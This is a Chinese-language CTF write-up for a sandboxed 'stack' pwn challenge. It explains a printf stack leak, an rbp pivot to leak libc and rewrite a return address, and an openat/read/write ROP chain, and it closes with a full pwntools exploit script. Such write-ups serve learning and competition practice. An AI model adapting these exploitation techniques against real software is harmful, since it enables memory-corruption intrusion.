强网拟态wp

babystack很简单,就不写wp了,直接来看stack这题

stack

程序开了沙箱,所以只能打orw了,主程序只有下面两个输入函数,第一次是输入名字,第二次可以栈溢出控制ret,看起来很简单,但是搜gadgets的时候发现没有控制rdi的寄存器,这就需要泄露一个libc地址。

注意第一个输入名字的函数,buffer的长度是0x10,我们可以输入的长度最大为0x18,而输出函数用的是printf,那么就可以给buffer填满0x10,这样printf就可以顺带打印出rbp的值,于是我们就获得了一个栈地址。

image-20251027165844368

接下来调试找一个libc地址,如下图,我们泄露出来的rbp+8就是存放libc的地址,但是我们要得到的是这个地址存放的值

image-20251027170845664

于是就想利用第二次read栈溢出到printf打印出来

image-20251027165857245

那么怎么打印呢,可以仔细看一下printf的汇编,%s打印出来的其实就是rbp-0x10的内容,那如果我们在栈溢出的时候修改掉rbp,让他为libc的栈地址+0x10,就可以打印出libc了

image-20251027173136629

做到这里,又遇到一个问题吗,返回printf后程序就直接结束了,我们泄露出来libc后还怎么构造rop链?

我们先看一下printf的返回值

image-20251027173952535

发现printf的返回地址存放在我们一开始泄露出来的rbp+0x20

image-20251027174229779

那么现在的问题就是如何修改printf的返回值,可以在栈溢出的时候先不返回printf,先返回read,依旧看汇编,发现read读入的地址其实也是rbp决定的,所以只要控制了rbp,就可以往指定位置写入

image-20251027175601274

具体调试一下,我们把rbp覆盖成printf的ret+0x60即可完成向ret写入,把下一次溢出的payload的前八个字节改成main函数地址即可,然后这一次payload就可以返回到printf泄露libc了,泄露完之后继续返回到main函数

image-20251027180319288

有了libc之后,就可以拿到gadgets,我们可以利用栈溢出打orw,因为open也被禁了,所以用openat代替open,把flag字符串写在payload前面然后调试找到该地址距离rbp的偏移即可。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p=process('./pwn_patched')
#p=remote("pwn-6e9a9f8dcc.challenge.xctf.org.cn", 9999, ssl=True)
elf=ELF('./pwn_patched')
libc=ELF('./libc.so.6')
mprotect=elf.sym['mprotect']
read=0x4013d4
main=0x401413
printf=0x40139B
p.recvuntil(b'name?')

p.send(b'a'*15+b'b')

p.recvuntil(b'b')
rbp=u64(p.recv(6).ljust(8,b'\x00'))
log.success('rbp -->'+hex(rbp))
libc_stack=rbp+0x8
ret=rbp+0x20
gdb.attach(p)
payload=b'a'*0x60+p64(ret+0x60)+p64(read)

#raw_input("DEBUG")
p.recvuntil(b'else?')

p.sendline(payload)


payload =p64(main)+b"a"*0x58+p64(libc_stack+0x10)+p64(printf)
p.sendline(payload)

p.recvuntil(b"Hello, ")
libc_base=u64(p.recv(6).ljust(8,b'\x00')) -0x29d90
log.success('libc_base-->'+hex(libc_base))

rdi=libc_base+0x000000000002a3e5
rsi=libc_base+0x000000000002be51
rdx_rcx_rbx=libc_base+0x0000000000108b73


p.recvuntil(b'name?')
p.sendline(b'a')
#gdb.attach(p)
p.recvuntil(b'else?')
flag=rbp-0x50
bss=0x404000
payload=b'./flag\x00\x00'+b'a'*0x60
payload+=p64(rdi)+p64((-100) & 0xffffffffffffffff)
payload+=p64(rsi)+p64(flag)
payload+=p64(rdx_rcx_rbx)+p64(0)+p64(0)+p64(0)
payload+=p64(libc_base+libc.sym['openat'])
payload+=p64(rdi)+p64(3)
payload+=p64(rsi)+p64(bss+0x700)
payload+=p64(rdx_rcx_rbx)+p64(0x100)+p64(0)+p64(0)+p64(elf.sym['read'])
payload+=p64(rdi)+p64(1)
payload+=p64(rsi)+p64(bss+0x700)
payload+=p64(rdx_rcx_rbx)+p64(0x100)+p64(0)+p64(0)+p64(libc_base+libc.sym['write'])


p.sendline(payload)

p.interactive()